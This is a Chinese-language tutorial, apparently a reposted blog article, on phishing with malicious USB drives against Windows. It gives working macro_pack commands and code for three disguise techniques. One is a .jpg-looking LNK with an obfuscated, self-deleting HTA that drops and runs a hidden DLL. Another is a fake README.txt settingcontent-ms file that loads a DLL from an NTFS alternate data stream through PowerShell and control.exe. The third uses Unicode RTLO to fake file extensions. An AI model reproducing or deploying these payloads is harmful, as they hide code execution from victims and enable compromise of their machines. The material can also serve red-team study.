實例:用U盤釣魚
一次性進群,長期免費索取教程,沒有付費教程。
教程列表見微信公眾號底部菜單
在本文中,我想給大家展示如何利用惡意U盤的一些PoC方法,這些方法可以在模擬攻擊環境中進行攻擊。這類攻擊方法必須遵循如下規則:
1、沒有建立互聯網連接;
2、除了目標系統的OS信息之外,對其他信息一無所知;
3、U盤上可見的內容應該儘可能少地觸發警告信息;
4、載荷的執行應該儘可能少地觸發警告信息。
我們的目標是傳播並運行二進位載荷。在如下一些樣例中,我們的載荷為DLL文件(payload.dll)。
實例一:利用LNK文件
目標系統:MS Windows OS
主要原理:我曾介紹過如何利用HTA文件發起攻擊,這是具體的操作方法。
利用策略
構造釋放DLL的HTA載荷
我們可以利用macro_pack來構造經過混淆處理的HTA載荷,該載荷可以釋放並執行payload.dll,具體命令如下:
echo DllMain | macro_pack.exe --template=EMBED_DLL --embed=payload.dll --obfuscate -G
payload.hta
EMBED_DLL模板可以創建一段VB代碼,釋放-embed參數所指向的文件,並使用Rundl32l來載入這個文件。我們可以指定模板運行DLL文件的DllMain函數。
我們可以使用-G選項來生成HTA文件,文件中的VB代碼經過混淆處理。
大家可以使用mshta來檢查HTA文件是否能正常運行,是否會調用我們的DLL文件(DLL文件將被釋放到臨時目錄中)。
構造釋放圖片的HTA載荷
我們也可以使用EMBED_EXE這個macro_pack模板來嵌入、釋放並運行我們選定目錄中的載荷。在本文案例中,我們使用的是「confidential.jpg」這張圖片。我們的目標是將該圖片釋放到惡意LNK文件所處的同一目錄中,這樣一旦DLL載荷被成功運行,該圖片就可以替換對應的LNK文件。
echo "confidential.jpg" | macro_pack.exe -t EMBED_EXE --embed=confidential.jpg -o -G
pic.hta
如果我們雙擊pic.hta,我們會看到confidential.jpg圖片被釋放到當前目錄中,並且被默認的圖片查看器打開。
封裝到自刪除的HTA文件中
我並沒有開發具體功能來將多個二進位載荷嵌入一個macro_pack中,也就是說我們必須生成DLL釋放器、圖片釋放器然後手動執行複製粘貼操作才能構造最終可用的HTA載荷。
具體操作如下:
1、使用文本編輯器打開payload.hta以及pic.hta文件;
2、將pic.hta的AutoOpen函數重命名為AutoOpen2;
3、將pic.hta的所有vb代碼拷貝到payload.hta中(最後兩行的AutoOpen以及Close代碼除外)。
4、編輯payload.hta文件最後兩行的AutoOpen以及Close代碼。
現在payload.hta文件會釋放並運行圖片,然後運行DLL並在運行後刪除自身文件。
注意:如果我們想要多次使用同一個USB介質,我們需要去掉自刪除代碼,將圖片釋放到臨時目錄中,而非當前目錄中。
構建惡意LNK文件
注意:我們在構造USB載荷時,遇到的一個難題是載荷需要知道自己所處的具體路徑。這個例子中,我們依賴的是macro_pack,它可以配置LNK文件運行在當前目錄中,這樣一來%cd%命令就能給出當前的卷名及路徑。在第二個PoC中我們可以看到更為困難的一種場景。
我們可以使用macro_pack來生成LNK。我選擇直接將快捷方式生成到USB介質中,避免我們拷貝快捷方式時系統對其做出修改。這裡USB介質的卷標為「G:」。
當提示輸入「Shortcut_Target」時我們輸入如下信息:
當提示輸入「Shortcut_Icon」時我們輸入如下信息:
%windir%system32imageres.dll,67
注意:67這個數字對應的是imageres.dll中的JPG圖像。
現在LNK快捷方式已創建完畢,我們可以將HTA代碼附加到該文件中。
就這麼簡單,我們的釣魚載荷已構造完畢。
測試
將confidential.jpg.lnk拷貝到某個USB介質中,並將該介質插入另一個Windows主機上。訪問U盤並雙擊confidential.jpg,系統會向我們顯示對應的圖片。
DLL已被成功載入,但處於隱藏狀態,我們可以使用taskmgr或者Sysinternals的procexp觀察正在運行的DLL。DLL文件被釋放到臨時目錄中的「Document1.asd」,並使用如下VB代碼加以運行。
CreateObject("WScript.Shell").Run "%windir%system32rundll32.exe %temp%Document1.asd,
>>", 0
順利執行後,我們會發現U盤上LNK文件已不復存在,被替換成正確的圖片文件。
實例二:利用惡意設置
目標系統:MS Windows 10
主要原理:Matt Nelson之前發表過有關SettingContent-ms文件的研究結果,這裡用到的就是這個原理。
利用策略
在這個場景中,我們的任務是讓目標用戶認為他打開的是「README.txt」文件,實際上他運行的是一個惡意的settingcontent-ms文件。
由於settingcontent-ms文件遵循嚴格的XML規範,因此貌似我們無法像前一種方法那樣將其與HTA文件融合起來。這裡我們可以使用NTFS的Alternate Data Streams(ADS,供選數據流)來隱藏並運行DLL載荷。
這個settingcontent-ms文件將會執行隱藏在Alternate Data Stream(README.txt.settingcontent-ms:R)中的DLL,也會運行Notepad來顯示另一個ADS(README.txt.settingcontent-ms:T.txt)中存放的欺詐文本。
settingcontent-ms文件的優勢在於它不會像LNK或者URI文件那樣圖標上有個快捷箭頭。
構建欺詐文本
首先我們可以構建一個簡單的文本文件,當目標用戶打開readme文件時就會在notepad中看到具體內容。
echo "This is a simple README file." > Text.txt
構建惡意設置快捷方式文件
我們可以使用macro_pack來生成settincontent-ms文件。比如,我們可以使用如下命令來生成一個偽造的README.txt文件,該文件可以通過命令行來運行計算器應用:
echo "C:windowssystem32cmd.exe /c calc.exe" "." | macro_pack.exe -G README.txt.
settingcontent-ms
能彈出計算器的確很不錯,但我們真正需要的是能夠運行載荷。DLL以及欺詐文件會隱藏在USB介質NTFS文件系統的Alternate Data Stream中。我們所面臨的問題在於settingcontent-ms文件默認會在「C:windowssystem32」中打開,這意味著我們需要找到一種方法來定位USB介質所對應的卷標。我使用了powershell來完成這個任務,可能還有其他方法能夠解決這個問題。
我希望執行的命令行如下所示:
%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter
"DriveType="2"").Name;Start-Process "notepad.exe" "$driveREADME.txt.
settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.
txt.settingcontent-ms:R"
這段命令所做的操作包括:
1、調用wmi來獲取USB卷名,存放到$drive變數中;
2、運行notepad打開README.txt.settingcontent-ms:T.txt中的誘騙文件。
3、運行control.exe來載入README.txt.settingcontent-ms:R中的DLL載荷。
需要注意的是,這裡我們可以參考上一種場景,使用rundll32來運行DLL,然而我想嘗試一下其他方法。
構造完畢的README.txt.settingcontent-ms文件如下所示:
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.
immersivecontrolpanel %windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject
Win32_Volume -Filter "DriveType="2"").Name;Start-Process "notepad.exe"
"$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe"
"$driveREADME.txt.settingcontent-ms:R" .
@shell32.dll,-4161 @shell32.dll,-4161
創建Alternative Data Stream
首先,我們需要確保USB介質已經使用NTFS文件系統格式化過。
其次,將README.txt.settingcontent-ms文件移動到NTFS USB介質中。
在這個例子中,USB介質所對應的卷標為「G:」。
現在我們可以來構建ADS。
首先是包含DLL的README.txt.settingcontent-ms:R流:
type payload.dll > G:README.txt.settingcontent-ms:R
然後是包含誘騙文本的G:README.txt.settingcontent-ms:T.txt流:
type Text.txt > G:README.txt.settingcontent-ms:T.txt
我們可以使用sysinternal的「Streams」工具來檢查創建的ADS的確對應USB介質上的文件。
注意:如果我們編輯並保存USB介質上的README.txt.settingcontent-ms,那麼與文件關聯的Alternate Data Stream就會丟失,我們不得不重新執行以上兩條命令。
測試
將製作好的U盤插入另一台Windows 10主機上。訪問這個U盤,雙擊「README.txt」。我們可以看到DLL被成功載入,並且notepad會自動打開,展示「This is a simple README file. 」文本。
實例三、利用Unicode RTLO
目標系統:MS Windows以及其他系統
主要原理:實話實說我已不記得最早在哪看到這種方法。
利用策略
這一次我們準備構造一個欺詐文件後綴名,具體方法是注入Unicode Right-To-Left-Overrive(RTLO)字元。這是隱藏文件擴展名的一種絕佳方法,因為在RTLO之後的所有字元將以從右到左的方式呈現給用戶。
比如,我可以使用macro_pack來構造能夠運行計算器的一個HTA文件,該文件帶有偽造的「.jpg」擴展名。具體命令如下:
echo calc.exe | macro_pack.exe -t CMD -G calc.hta --unicode-rtlo=jpg
在資源管理器中,這個文件看起來像是calcath.jpg,而實際上它的文件名為calc[rtlo]gpj.hta。
這種方法非常有趣,並且也適用於其他操作系統(如Ubuntu),也有可能適用於其他應用程序,如郵件客戶端等。
練習
我們可以通過多種方法來利用unicode RTLO實施釣魚攻擊。
比如,一種方法就是將惡意的exe文件偽裝成zip文件(更改文件圖標,同時使用RTLO方法使文件名看起來以.zip後綴名結束)。
在某個攻擊場景中,當目標用戶雙擊偽造的zip文件後,exe文件就會運行載荷,打開隱藏在文件資源區或者ADS中的zip誘騙文件。
【推薦書籍】
TAG:計算機與網路安全 |